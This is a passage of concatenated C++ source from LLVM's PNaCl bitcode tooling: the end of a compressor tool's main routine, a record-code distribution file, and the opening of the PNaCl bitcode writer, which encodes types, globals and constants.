Compressor.Flags.ShowAbbrevLookupTries = ShowAbbrevLookupTries;
Compressor.Flags.ShowAbbreviationFrequencies = ShowAbbreviationFrequencies;
Compressor.Flags.RemoveAbbreviations = RemoveAbbreviations;
if (ShowValueDistributions
|| ShowAbbreviationFrequencies
|| ShowAbbrevLookupTries) {
// Assume we are only interested in analysis.
int ReturnStatus = !Compressor.analyze(MemBuf.get(), OutFile->os());
OutFile->keep();
return ReturnStatus;
}
if (!Compressor.compress(MemBuf.get(), OutFile->os()))
return 1;
OutFile->keep();
return 0;
}
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClBitcodeCodeDist.cpp
//===-- NaClBitcodeCodeDist.cpp -------------------------------------------===//
// Implements distribution maps for record codes within a PNaCl bitcode
// file.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeCodeDist.h"
#include "llvm/Bitcode/NaCl/NaClLLVMBitCodes.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
/// GetCodeName - Return a symbolic code name if known, otherwise return
/// null.
static const char *GetCodeName(unsigned CodeID, unsigned BlockID) {
// Standard blocks for all bitcode files.
if (BlockID < naclbitc::FIRST_APPLICATION_BLOCKID) {
if (BlockID == naclbitc::BLOCKINFO_BLOCK_ID) {
switch (CodeID) {
default: return 0;
case naclbitc::BLOCKINFO_CODE_SETBID: return "SETBID";
}
}
return 0;
}
switch (BlockID) {
default: return 0;
case naclbitc::MODULE_BLOCK_ID:
switch (CodeID) {
default: return 0;
case naclbitc::MODULE_CODE_VERSION: return "VERSION";
case naclbitc::MODULE_CODE_TRIPLE: return "TRIPLE";
case naclbitc::MODULE_CODE_DATALAYOUT: return "DATALAYOUT";
case naclbitc::MODULE_CODE_ASM: return "ASM";
case naclbitc::MODULE_CODE_SECTIONNAME: return "SECTIONNAME";
case naclbitc::MODULE_CODE_DEPLIB: return "DEPLIB"; // FIXME: Remove in 4.0
case naclbitc::MODULE_CODE_GLOBALVAR: return "GLOBALVAR";
case naclbitc::MODULE_CODE_FUNCTION: return "FUNCTION";
case naclbitc::MODULE_CODE_ALIAS: return "ALIAS";
case naclbitc::MODULE_CODE_PURGEVALS: return "PURGEVALS";
case naclbitc::MODULE_CODE_GCNAME: return "GCNAME";
}
case naclbitc::PARAMATTR_BLOCK_ID:
switch (CodeID) {
default: return 0;
case naclbitc::PARAMATTR_CODE_ENTRY_OLD: return "ENTRY";
case naclbitc::PARAMATTR_CODE_ENTRY: return "ENTRY";
case naclbitc::PARAMATTR_GRP_CODE_ENTRY: return "ENTRY";
}
case naclbitc::TYPE_BLOCK_ID_NEW:
switch (CodeID) {
default: return 0;
case naclbitc::TYPE_CODE_NUMENTRY: return "NUMENTRY";
case naclbitc::TYPE_CODE_VOID: return "VOID";
case naclbitc::TYPE_CODE_FLOAT: return "FLOAT";
case naclbitc::TYPE_CODE_DOUBLE: return "DOUBLE";
case naclbitc::TYPE_CODE_LABEL: return "LABEL";
case naclbitc::TYPE_CODE_OPAQUE: return "OPAQUE";
case naclbitc::TYPE_CODE_INTEGER: return "INTEGER";
case naclbitc::TYPE_CODE_POINTER: return "POINTER";
case naclbitc::TYPE_CODE_ARRAY: return "ARRAY";
case naclbitc::TYPE_CODE_VECTOR: return "VECTOR";
case naclbitc::TYPE_CODE_X86_FP80: return "X86_FP80";
case naclbitc::TYPE_CODE_FP128: return "FP128";
case naclbitc::TYPE_CODE_PPC_FP128: return "PPC_FP128";
case naclbitc::TYPE_CODE_METADATA: return "METADATA";
case naclbitc::TYPE_CODE_STRUCT_ANON: return "STRUCT_ANON";
case naclbitc::TYPE_CODE_STRUCT_NAME: return "STRUCT_NAME";
case naclbitc::TYPE_CODE_STRUCT_NAMED: return "STRUCT_NAMED";
case naclbitc::TYPE_CODE_FUNCTION: return "FUNCTION";
}
case naclbitc::CONSTANTS_BLOCK_ID:
switch (CodeID) {
default: return 0;
case naclbitc::CST_CODE_SETTYPE: return "SETTYPE";
case naclbitc::CST_CODE_NULL: return "NULL";
case naclbitc::CST_CODE_UNDEF: return "UNDEF";
case naclbitc::CST_CODE_INTEGER: return "INTEGER";
case naclbitc::CST_CODE_WIDE_INTEGER: return "WIDE_INTEGER";
case naclbitc::CST_CODE_FLOAT: return "FLOAT";
case naclbitc::CST_CODE_AGGREGATE: return "AGGREGATE";
case naclbitc::CST_CODE_STRING: return "STRING";
case naclbitc::CST_CODE_CSTRING: return "CSTRING";
case naclbitc::CST_CODE_CE_BINOP: return "CE_BINOP";
case naclbitc::CST_CODE_CE_CAST: return "CE_CAST";
case naclbitc::CST_CODE_CE_GEP: return "CE_GEP";
case naclbitc::CST_CODE_CE_INBOUNDS_GEP: return "CE_INBOUNDS_GEP";
case naclbitc::CST_CODE_CE_SELECT: return "CE_SELECT";
case naclbitc::CST_CODE_CE_EXTRACTELT: return "CE_EXTRACTELT";
case naclbitc::CST_CODE_CE_INSERTELT: return "CE_INSERTELT";
case naclbitc::CST_CODE_CE_SHUFFLEVEC: return "CE_SHUFFLEVEC";
case naclbitc::CST_CODE_CE_CMP: return "CE_CMP";
case naclbitc::CST_CODE_INLINEASM: return "INLINEASM";
case naclbitc::CST_CODE_CE_SHUFVEC_EX: return "CE_SHUFVEC_EX";
case naclbitc::CST_CODE_BLOCKADDRESS: return "CST_CODE_BLOCKADDRESS";
case naclbitc::CST_CODE_DATA: return "DATA";
}
case naclbitc::FUNCTION_BLOCK_ID:
switch (CodeID) {
default: return 0;
case naclbitc::FUNC_CODE_DECLAREBLOCKS: return "DECLAREBLOCKS";
case naclbitc::FUNC_CODE_INST_BINOP: return "INST_BINOP";
case naclbitc::FUNC_CODE_INST_CAST: return "INST_CAST";
case naclbitc::FUNC_CODE_INST_GEP: return "INST_GEP";
case naclbitc::FUNC_CODE_INST_INBOUNDS_GEP: return "INST_INBOUNDS_GEP";
case naclbitc::FUNC_CODE_INST_SELECT: return "INST_SELECT";
case naclbitc::FUNC_CODE_INST_EXTRACTELT: return "INST_EXTRACTELT";
case naclbitc::FUNC_CODE_INST_INSERTELT: return "INST_INSERTELT";
case naclbitc::FUNC_CODE_INST_SHUFFLEVEC: return "INST_SHUFFLEVEC";
case naclbitc::FUNC_CODE_INST_CMP: return "INST_CMP";
case naclbitc::FUNC_CODE_INST_RET: return "INST_RET";
case naclbitc::FUNC_CODE_INST_BR: return "INST_BR";
case naclbitc::FUNC_CODE_INST_SWITCH: return "INST_SWITCH";
case naclbitc::FUNC_CODE_INST_INVOKE: return "INST_INVOKE";
case naclbitc::FUNC_CODE_INST_UNREACHABLE: return "INST_UNREACHABLE";
case naclbitc::FUNC_CODE_INST_PHI: return "INST_PHI";
case naclbitc::FUNC_CODE_INST_ALLOCA: return "INST_ALLOCA";
case naclbitc::FUNC_CODE_INST_LOAD: return "INST_LOAD";
case naclbitc::FUNC_CODE_INST_VAARG: return "INST_VAARG";
case naclbitc::FUNC_CODE_INST_STORE: return "INST_STORE";
case naclbitc::FUNC_CODE_INST_EXTRACTVAL: return "INST_EXTRACTVAL";
case naclbitc::FUNC_CODE_INST_INSERTVAL: return "INST_INSERTVAL";
case naclbitc::FUNC_CODE_INST_CMP2: return "INST_CMP2";
case naclbitc::FUNC_CODE_INST_VSELECT: return "INST_VSELECT";
case naclbitc::FUNC_CODE_DEBUG_LOC_AGAIN: return "DEBUG_LOC_AGAIN";
case naclbitc::FUNC_CODE_INST_CALL: return "INST_CALL";
case naclbitc::FUNC_CODE_INST_CALL_INDIRECT: return "INST_CALL_INDIRECT";
case naclbitc::FUNC_CODE_DEBUG_LOC: return "DEBUG_LOC";
case naclbitc::FUNC_CODE_INST_FORWARDTYPEREF: return "FORWARDTYPEREF";
}
case naclbitc::VALUE_SYMTAB_BLOCK_ID:
switch (CodeID) {
default: return 0;
case naclbitc::VST_CODE_ENTRY: return "ENTRY";
case naclbitc::VST_CODE_BBENTRY: return "BBENTRY";
}
case naclbitc::METADATA_ATTACHMENT_ID:
switch(CodeID) {
default:return 0;
case naclbitc::METADATA_ATTACHMENT: return "METADATA_ATTACHMENT";
}
case naclbitc::METADATA_BLOCK_ID:
switch(CodeID) {
default:return 0;
case naclbitc::METADATA_STRING: return "METADATA_STRING";
case naclbitc::METADATA_NAME: return "METADATA_NAME";
case naclbitc::METADATA_KIND: return "METADATA_KIND";
case naclbitc::METADATA_NODE: return "METADATA_NODE";
case naclbitc::METADATA_FN_NODE: return "METADATA_FN_NODE";
case naclbitc::METADATA_NAMED_NODE: return "METADATA_NAMED_NODE";
}
case naclbitc::GLOBALVAR_BLOCK_ID:
switch (CodeID) {
default: return 0;
case naclbitc::GLOBALVAR_VAR: return "VAR";
case naclbitc::GLOBALVAR_COMPOUND: return "COMPOUND";
case naclbitc::GLOBALVAR_ZEROFILL: return "ZEROFILL";
case naclbitc::GLOBALVAR_DATA: return "DATA";
case naclbitc::GLOBALVAR_RELOC: return "RELOC";
case naclbitc::GLOBALVAR_COUNT: return "COUNT";
}
}
}
NaClBitcodeCodeDistElement::~NaClBitcodeCodeDistElement() {}
NaClBitcodeDistElement *NaClBitcodeCodeDistElement::CreateElement(
NaClBitcodeDistValue Value) const {
return new NaClBitcodeCodeDistElement();
}
void NaClBitcodeCodeDistElement::
GetValueList(const NaClBitcodeRecord &Record,
ValueListType &ValueList) const {
if (Record.GetEntryKind() == NaClBitstreamEntry::Record) {
ValueList.push_back(Record.GetCode());
}
}
const char *NaClBitcodeCodeDistElement::GetTitle() const {
return "Record Histogram:";
}
const char *NaClBitcodeCodeDistElement::GetValueHeader() const {
return "Record Kind";
}
void NaClBitcodeCodeDistElement::
PrintRowValue(raw_ostream &Stream,
NaClBitcodeDistValue Value,
const NaClBitcodeDist *Distribution) const {
Stream <<
NaClBitcodeCodeDist::
GetCodeName(Value,
cast<NaClBitcodeCodeDist>(Distribution)->GetBlockID());
}
NaClBitcodeCodeDistElement NaClBitcodeCodeDist::DefaultSentinel;
NaClBitcodeCodeDist::~NaClBitcodeCodeDist() {}
std::string NaClBitcodeCodeDist::GetCodeName(unsigned CodeID,
unsigned BlockID) {
if (const char *CodeName = ::GetCodeName(CodeID, BlockID))
return CodeName;
std::string Str;
raw_string_ostream StrStrm(Str);
StrStrm << "UnknownCode" << CodeID;
return StrStrm.str();
}
<file_sep>/lib/Bitcode/NaCl/Writer/NaClBitcodeWriter.cpp
//===--- Bitcode/NaCl/Writer/NaClBitcodeWriter.cpp - Bitcode Writer -------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Bitcode writer implementation.
//
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "NaClBitcodeWriter"
#include "llvm/Bitcode/NaCl/NaClBitcodeHeader.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "NaClValueEnumerator.h"
#include "llvm/Bitcode/NaCl/NaClBitstreamWriter.h"
#include "llvm/Bitcode/NaCl/NaClLLVMBitCodes.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/InlineAsm.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Operator.h"
#include "llvm/IR/ValueSymbolTable.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/MathExtras.h"
#include "llvm/Support/Program.h"
#include "llvm/Support/raw_ostream.h"
#include <cctype>
#include <map>
using namespace llvm;
static cl::opt<unsigned>
PNaClVersion("pnacl-version",
cl::desc("Specify PNaCl bitcode version to write"),
cl::init(2));
static cl::opt<bool>
AlignBitcodeRecords("align-bitcode-records",
cl::desc("Align bitcode records in PNaCl bitcode files (experimental)"),
cl::init(false));
/// These are manifest constants used by the bitcode writer. They do
/// not need to be kept in sync with the reader, but need to be
/// consistent within this file.
///
/// Note that for each block type GROUP, the last entry should be of
/// the form:
///
/// GROUP_MAX_ABBREV = GROUP_LAST_ABBREV,
///
/// where GROUP_LAST_ABBREV is the last defined abbreviation. See
/// include file "llvm/Bitcode/NaCl/NaClBitCodes.h" for more
/// information on how groups should be defined.
enum {
// VALUE_SYMTAB_BLOCK abbrev id's.
VST_ENTRY_8_ABBREV = naclbitc::FIRST_APPLICATION_ABBREV,
VST_ENTRY_7_ABBREV,
VST_ENTRY_6_ABBREV,
VST_BBENTRY_6_ABBREV,
VST_MAX_ABBREV = VST_BBENTRY_6_ABBREV,
// CONSTANTS_BLOCK abbrev id's.
CONSTANTS_SETTYPE_ABBREV = naclbitc::FIRST_APPLICATION_ABBREV,
CONSTANTS_INTEGER_ABBREV,
CONSTANTS_INTEGER_ZERO_ABBREV,
CONSTANTS_FLOAT_ABBREV,
CONSTANTS_MAX_ABBREV = CONSTANTS_FLOAT_ABBREV,
// GLOBALVAR BLOCK abbrev id's.
GLOBALVAR_VAR_ABBREV = naclbitc::FIRST_APPLICATION_ABBREV,
GLOBALVAR_COMPOUND_ABBREV,
GLOBALVAR_ZEROFILL_ABBREV,
GLOBALVAR_DATA_ABBREV,
GLOBALVAR_RELOC_ABBREV,
GLOBALVAR_RELOC_WITH_ADDEND_ABBREV,
GLOBALVAR_MAX_ABBREV = GLOBALVAR_RELOC_WITH_ADDEND_ABBREV,
// FUNCTION_BLOCK abbrev id's.
FUNCTION_INST_LOAD_ABBREV = naclbitc::FIRST_APPLICATION_ABBREV,
FUNCTION_INST_BINOP_ABBREV,
FUNCTION_INST_CAST_ABBREV,
FUNCTION_INST_RET_VOID_ABBREV,
FUNCTION_INST_RET_VAL_ABBREV,
FUNCTION_INST_UNREACHABLE_ABBREV,
FUNCTION_INST_FORWARDTYPEREF_ABBREV,
FUNCTION_INST_STORE_ABBREV,
FUNCTION_INST_MAX_ABBREV = FUNCTION_INST_STORE_ABBREV,
// TYPE_BLOCK_ID_NEW abbrev id's.
TYPE_FUNCTION_ABBREV = naclbitc::FIRST_APPLICATION_ABBREV,
TYPE_MAX_ABBREV = TYPE_FUNCTION_ABBREV
};
LLVM_ATTRIBUTE_NORETURN
static void ReportIllegalValue(const char *ValueMessage,
const Value &Value) {
std::string Message;
raw_string_ostream StrM(Message);
StrM << "NaCl Illegal ";
if (ValueMessage != 0)
StrM << ValueMessage << " ";
StrM << ": " << Value;
report_fatal_error(StrM.str());
}
static unsigned GetEncodedCastOpcode(unsigned Opcode, const Value &V) {
switch (Opcode) {
default: ReportIllegalValue("cast", V);
case Instruction::Trunc : return naclbitc::CAST_TRUNC;
case Instruction::ZExt : return naclbitc::CAST_ZEXT;
case Instruction::SExt : return naclbitc::CAST_SEXT;
case Instruction::FPToUI : return naclbitc::CAST_FPTOUI;
case Instruction::FPToSI : return naclbitc::CAST_FPTOSI;
case Instruction::UIToFP : return naclbitc::CAST_UITOFP;
case Instruction::SIToFP : return naclbitc::CAST_SITOFP;
case Instruction::FPTrunc : return naclbitc::CAST_FPTRUNC;
case Instruction::FPExt : return naclbitc::CAST_FPEXT;
case Instruction::BitCast : return naclbitc::CAST_BITCAST;
}
}
static unsigned GetEncodedBinaryOpcode(unsigned Opcode, const Value &V) {
switch (Opcode) {
default: ReportIllegalValue("binary opcode", V);
case Instruction::Add:
case Instruction::FAdd: return naclbitc::BINOP_ADD;
case Instruction::Sub:
case Instruction::FSub: return naclbitc::BINOP_SUB;
case Instruction::Mul:
case Instruction::FMul: return naclbitc::BINOP_MUL;
case Instruction::UDiv: return naclbitc::BINOP_UDIV;
case Instruction::FDiv:
case Instruction::SDiv: return naclbitc::BINOP_SDIV;
case Instruction::URem: return naclbitc::BINOP_UREM;
case Instruction::FRem:
case Instruction::SRem: return naclbitc::BINOP_SREM;
case Instruction::Shl: return naclbitc::BINOP_SHL;
case Instruction::LShr: return naclbitc::BINOP_LSHR;
case Instruction::AShr: return naclbitc::BINOP_ASHR;
case Instruction::And: return naclbitc::BINOP_AND;
case Instruction::Or: return naclbitc::BINOP_OR;
case Instruction::Xor: return naclbitc::BINOP_XOR;
}
}
static unsigned GetEncodedCallingConv(CallingConv::ID conv) {
switch (conv) {
default: report_fatal_error(
"Calling convention not supported by PNaCL bitcode");
case CallingConv::C: return naclbitc::C_CallingConv;
}
}
// Converts LLVM encoding of comparison predicates to the
// corresponding bitcode versions.
static unsigned GetEncodedCmpPredicate(const CmpInst &Cmp) {
switch (Cmp.getPredicate()) {
default: report_fatal_error(
"Comparison predicate not supported by PNaCl bitcode");
case CmpInst::FCMP_FALSE:
return naclbitc::FCMP_FALSE;
case CmpInst::FCMP_OEQ:
return naclbitc::FCMP_OEQ;
case CmpInst::FCMP_OGT:
return naclbitc::FCMP_OGT;
case CmpInst::FCMP_OGE:
return naclbitc::FCMP_OGE;
case CmpInst::FCMP_OLT:
return naclbitc::FCMP_OLT;
case CmpInst::FCMP_OLE:
return naclbitc::FCMP_OLE;
case CmpInst::FCMP_ONE:
return naclbitc::FCMP_ONE;
case CmpInst::FCMP_ORD:
return naclbitc::FCMP_ORD;
case CmpInst::FCMP_UNO:
return naclbitc::FCMP_UNO;
case CmpInst::FCMP_UEQ:
return naclbitc::FCMP_UEQ;
case CmpInst::FCMP_UGT:
return naclbitc::FCMP_UGT;
case CmpInst::FCMP_UGE:
return naclbitc::FCMP_UGE;
case CmpInst::FCMP_ULT:
return naclbitc::FCMP_ULT;
case CmpInst::FCMP_ULE:
return naclbitc::FCMP_ULE;
case CmpInst::FCMP_UNE:
return naclbitc::FCMP_UNE;
case CmpInst::FCMP_TRUE:
return naclbitc::FCMP_TRUE;
case CmpInst::ICMP_EQ:
return naclbitc::ICMP_EQ;
case CmpInst::ICMP_NE:
return naclbitc::ICMP_NE;
case CmpInst::ICMP_UGT:
return naclbitc::ICMP_UGT;
case CmpInst::ICMP_UGE:
return naclbitc::ICMP_UGE;
case CmpInst::ICMP_ULT:
return naclbitc::ICMP_ULT;
case CmpInst::ICMP_ULE:
return naclbitc::ICMP_ULE;
case CmpInst::ICMP_SGT:
return naclbitc::ICMP_SGT;
case CmpInst::ICMP_SGE:
return naclbitc::ICMP_SGE;
case CmpInst::ICMP_SLT:
return naclbitc::ICMP_SLT;
case CmpInst::ICMP_SLE:
return naclbitc::ICMP_SLE;
}
}
// The type of encoding to use for type ids.
static NaClBitCodeAbbrevOp::Encoding TypeIdEncoding = NaClBitCodeAbbrevOp::VBR;
// The cutoff (in number of bits) from Fixed to VBR.
static const unsigned TypeIdVBRCutoff = 6;
// The number of bits to use in the encoding of type ids.
static unsigned TypeIdNumBits = TypeIdVBRCutoff;
// Optimizes the value for TypeIdEncoding and TypeIdNumBits based
// the actual number of types.
static inline void OptimizeTypeIdEncoding(const NaClValueEnumerator &VE) {
// Note: modify to use maximum number of bits if under cutoff. Otherwise,
// use VBR to take advantage that frequently referenced types have
// small IDs.
unsigned NumBits = NaClBitsNeededForValue(VE.getTypes().size());
TypeIdNumBits = (NumBits < TypeIdVBRCutoff ? NumBits : TypeIdVBRCutoff);
TypeIdEncoding = NaClBitCodeAbbrevOp::Encoding(
NumBits <= TypeIdVBRCutoff
? NaClBitCodeAbbrevOp::Fixed : NaClBitCodeAbbrevOp::VBR);
}
/// WriteTypeTable - Write out the type table for a module.
static void WriteTypeTable(const NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
DEBUG(dbgs() << "-> WriteTypeTable\n");
const NaClValueEnumerator::TypeList &TypeList = VE.getTypes();
Stream.EnterSubblock(naclbitc::TYPE_BLOCK_ID_NEW, TYPE_MAX_ABBREV);
SmallVector<uint64_t, 64> TypeVals;
// Abbrev for TYPE_CODE_FUNCTION.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::TYPE_CODE_FUNCTION));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 1)); // isvararg
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbv->Add(NaClBitCodeAbbrevOp(TypeIdEncoding, TypeIdNumBits));
if (TYPE_FUNCTION_ABBREV != Stream.EmitAbbrev(Abbv))
llvm_unreachable("Unexpected abbrev ordering!");
// Emit an entry count so the reader can reserve space.
TypeVals.push_back(TypeList.size());
Stream.EmitRecord(naclbitc::TYPE_CODE_NUMENTRY, TypeVals);
TypeVals.clear();
// Loop over all of the types, emitting each in turn.
for (unsigned i = 0, e = TypeList.size(); i != e; ++i) {
Type *T = TypeList[i];
int AbbrevToUse = 0;
unsigned Code = 0;
switch (T->getTypeID()) {
default: llvm_unreachable("Unknown type!");
case Type::VoidTyID: Code = naclbitc::TYPE_CODE_VOID; break;
case Type::FloatTyID: Code = naclbitc::TYPE_CODE_FLOAT; break;
case Type::DoubleTyID: Code = naclbitc::TYPE_CODE_DOUBLE; break;
case Type::IntegerTyID:
// INTEGER: [width]
Code = naclbitc::TYPE_CODE_INTEGER;
TypeVals.push_back(cast<IntegerType>(T)->getBitWidth());
break;
case Type::VectorTyID: {
VectorType *VT = cast<VectorType>(T);
// VECTOR [numelts, eltty]
Code = naclbitc::TYPE_CODE_VECTOR;
TypeVals.push_back(VT->getNumElements());
TypeVals.push_back(VE.getTypeID(VT->getElementType()));
break;
}
case Type::FunctionTyID: {
FunctionType *FT = cast<FunctionType>(T);
// FUNCTION: [isvararg, retty, paramty x N]
Code = naclbitc::TYPE_CODE_FUNCTION;
TypeVals.push_back(FT->isVarArg());
TypeVals.push_back(VE.getTypeID(FT->getReturnType()));
for (unsigned i = 0, e = FT->getNumParams(); i != e; ++i)
TypeVals.push_back(VE.getTypeID(FT->getParamType(i)));
AbbrevToUse = TYPE_FUNCTION_ABBREV;
break;
}
case Type::StructTyID:
report_fatal_error("Struct types are not supported in PNaCl bitcode");
case Type::ArrayTyID:
report_fatal_error("Array types are not supported in PNaCl bitcode");
}
// Emit the finished record.
Stream.EmitRecord(Code, TypeVals, AbbrevToUse);
TypeVals.clear();
}
Stream.ExitBlock();
DEBUG(dbgs() << "<- WriteTypeTable\n");
}
static unsigned getEncodedLinkage(const GlobalValue *GV) {
switch (GV->getLinkage()) {
case GlobalValue::ExternalLinkage: return 0;
case GlobalValue::InternalLinkage: return 3;
default:
report_fatal_error("Invalid linkage");
}
}
/// \brief Function to convert constant initializers for global
/// variables into corresponding bitcode. Takes advantage that these
/// global variable initializations are normalized (see
/// lib/Transforms/NaCl/FlattenGlobals.cpp).
void WriteGlobalInit(const Constant *C, unsigned GlobalVarID,
SmallVectorImpl<uint32_t> &Vals,
const NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
if (ArrayType *Ty = dyn_cast<ArrayType>(C->getType())) {
if (!Ty->getElementType()->isIntegerTy(8))
report_fatal_error("Global array initializer not i8");
uint32_t Size = Ty->getNumElements();
if (isa<ConstantAggregateZero>(C)) {
Vals.push_back(Size);
Stream.EmitRecord(naclbitc::GLOBALVAR_ZEROFILL, Vals,
GLOBALVAR_ZEROFILL_ABBREV);
Vals.clear();
} else {
const ConstantDataSequential *CD = cast<ConstantDataSequential>(C);
StringRef Data = CD->getRawDataValues();
for (size_t i = 0; i < Size; ++i) {
Vals.push_back(Data[i] & 0xFF);
}
Stream.EmitRecord(naclbitc::GLOBALVAR_DATA, Vals,
GLOBALVAR_DATA_ABBREV);
Vals.clear();
}
return;
}
if (VE.IsIntPtrType(C->getType())) {
// This constant defines a relocation. Start by verifying the
// relocation is of the right form.
const ConstantExpr *CE = dyn_cast<ConstantExpr>(C);
if (CE == 0)
report_fatal_error("Global i32 initializer not constant");
assert(CE);
int32_t Addend = 0;
if (CE->getOpcode() == Instruction::Add) {
const ConstantInt *AddendConst = dyn_cast<ConstantInt>(CE->getOperand(1));
if (AddendConst == 0)
report_fatal_error("Malformed addend in global relocation initializer");
Addend = AddendConst->getSExtValue();
CE = dyn_cast<ConstantExpr>(CE->getOperand(0));
if (CE == 0)
report_fatal_error(
"Base of global relocation initializer not constant");
}
if (CE->getOpcode() != Instruction::PtrToInt)
report_fatal_error("Global relocation base doesn't contain ptrtoint");
GlobalValue *GV = dyn_cast<GlobalValue>(CE->getOperand(0));
if (GV == 0)
report_fatal_error(
"Argument of ptrtoint in global relocation no global value");
// Now generate the corresponding relocation record.
unsigned RelocID = VE.getValueID(GV);
// This is a value index.
unsigned AbbrevToUse = GLOBALVAR_RELOC_ABBREV;
Vals.push_back(RelocID);
if (Addend) {
Vals.push_back(Addend);
AbbrevToUse = GLOBALVAR_RELOC_WITH_ADDEND_ABBREV;
}
Stream.EmitRecord(naclbitc::GLOBALVAR_RELOC, Vals, AbbrevToUse);
Vals.clear();
return;
}
report_fatal_error("Global initializer is not a SimpleElement");
}
// Emit global variables.
static void WriteGlobalVars(const Module *M,
const NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
Stream.EnterSubblock(naclbitc::GLOBALVAR_BLOCK_ID);
SmallVector<uint32_t, 32> Vals;
unsigned GlobalVarID = VE.getFirstGlobalVarID();
// Emit the number of global variables.
Vals.push_back(M->getGlobalList().size());
Stream.EmitRecord(naclbitc::GLOBALVAR_COUNT, Vals);
Vals.clear();
// Now emit each global variable.
for (Module::const_global_iterator
GV = M->global_begin(), E = M->global_end();
GV != E; ++GV, ++GlobalVarID) {
// Define the global variable.
Vals.push_back(Log2_32(GV->getAlignment()) + 1);
Vals.push_back(GV->isConstant());
Stream.EmitRecord(naclbitc::GLOBALVAR_VAR, Vals, GLOBALVAR_VAR_ABBREV);
Vals.clear();
// Add the field(s).
const Constant *C = GV->getInitializer();
if (C == 0)
report_fatal_error("Global variable initializer not a constant");
if (const ConstantStruct *CS = dyn_cast<ConstantStruct>(C)) {
if (!CS->getType()->isPacked())
report_fatal_error("Global variable type not packed");
if (CS->getType()->hasName())
report_fatal_error("Global variable type is named");
Vals.push_back(CS->getNumOperands());
Stream.EmitRecord(naclbitc::GLOBALVAR_COMPOUND, Vals,
GLOBALVAR_COMPOUND_ABBREV);
Vals.clear();
for (unsigned I = 0; I < CS->getNumOperands(); ++I) {
WriteGlobalInit(dyn_cast<Constant>(CS->getOperand(I)), GlobalVarID,
Vals, VE, Stream);
}
} else {
WriteGlobalInit(C, GlobalVarID, Vals, VE, Stream);
}
}
assert(GlobalVarID == VE.getFirstGlobalVarID() + VE.getNumGlobalVarIDs());
Stream.ExitBlock();
}
// Emit top-level description of module, including inline asm,
// descriptors for global variables, and function prototype info.
static void WriteModuleInfo(const Module *M, const NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
DEBUG(dbgs() << "-> WriteModuleInfo\n");
// Emit the function proto information. Note: We do this before
// global variables, so that global variable initializations can
// refer to the functions without a forward reference.
SmallVector<unsigned, 64> Vals;
for (Module::const_iterator F = M->begin(), E = M->end(); F != E; ++F) {
// FUNCTION: [type, callingconv, isproto, linkage]
Type *Ty = F->getType()->getPointerElementType();
Vals.push_back(VE.getTypeID(Ty));
Vals.push_back(GetEncodedCallingConv(F->getCallingConv()));
Vals.push_back(F->isDeclaration());
Vals.push_back(getEncodedLinkage(F));
unsigned AbbrevToUse = 0;
Stream.EmitRecord(naclbitc::MODULE_CODE_FUNCTION, Vals, AbbrevToUse);
Vals.clear();
}
// Emit the global variable information.
WriteGlobalVars(M, VE, Stream);
DEBUG(dbgs() << "<- WriteModuleInfo\n");
}
static void emitSignedInt64(SmallVectorImpl<uint64_t> &Vals, uint64_t V) {
Vals.push_back(NaClEncodeSignRotatedValue((int64_t)V));
}
static void EmitAPInt(SmallVectorImpl<uint64_t> &Vals,
unsigned &Code, unsigned &AbbrevToUse, const APInt &Val) {
if (Val.getBitWidth() <= 64) {
uint64_t V = Val.getSExtValue();
emitSignedInt64(Vals, V);
Code = naclbitc::CST_CODE_INTEGER;
AbbrevToUse =
Val == 0 ? CONSTANTS_INTEGER_ZERO_ABBREV : CONSTANTS_INTEGER_ABBREV;
} else {
report_fatal_error("Wide integers are not supported");
}
}
static void WriteConstants(unsigned FirstVal, unsigned LastVal,
const NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
if (FirstVal == LastVal) return;
Stream.EnterSubblock(naclbitc::CONSTANTS_BLOCK_ID, CONSTANTS_MAX_ABBREV);
SmallVector<uint64_t, 64> Record;
const NaClValueEnumerator::ValueList &Vals = VE.getValues();
Type *LastTy = 0;
for (unsigned i = FirstVal; i != LastVal; ++i) {
const Value *V = Vals[i].first;
// If we need to switch types, do so now.
if (V->getType() != LastTy) {
LastTy = V->getType();
Record.push_back(VE.getTypeID(LastTy));
Stream.EmitRecord(naclbitc::CST_CODE_SETTYPE, Record,
CONSTANTS_SETTYPE_ABBREV);
Record.clear();
}
if (isa<InlineAsm>(V)) {
ReportIllegalValue("inline assembly", *V);
}
const Constant *C = cast<Constant>(V);
unsigned Code = -1U;
unsigned AbbrevToUse = 0;
if (isa<UndefValue>(C)) {
Code = naclbitc::CST_CODE_UNDEF;
} else if (const ConstantInt *IV = dyn_cast<ConstantInt>(C)) {
EmitAPInt(Record, Code, AbbrevToUse, IV->getValue());
} else if (const ConstantFP *CFP = dyn_cast<ConstantFP>(C)) {
Code = naclbitc::CST_CODE_FLOAT;
AbbrevToUse = CONSTANTS_FLOAT_ABBREV;
Type *Ty = CFP->getType();
if (Ty->isFloatTy() || Ty->isDoubleTy()) {
Record.push_back(CFP->getValueAPF().bitcastToAPInt().getZExtValue());
} else {
report_fatal_error("Unknown FP type");
}
} else {
#ifndef NDEBUG
C->dump();
#endif
ReportIllegalValue("constant", *C);
}
Stream.EmitRecord(Code, Record, AbbrevToUse);
Record.clear();
}
Stream.ExitBlock();
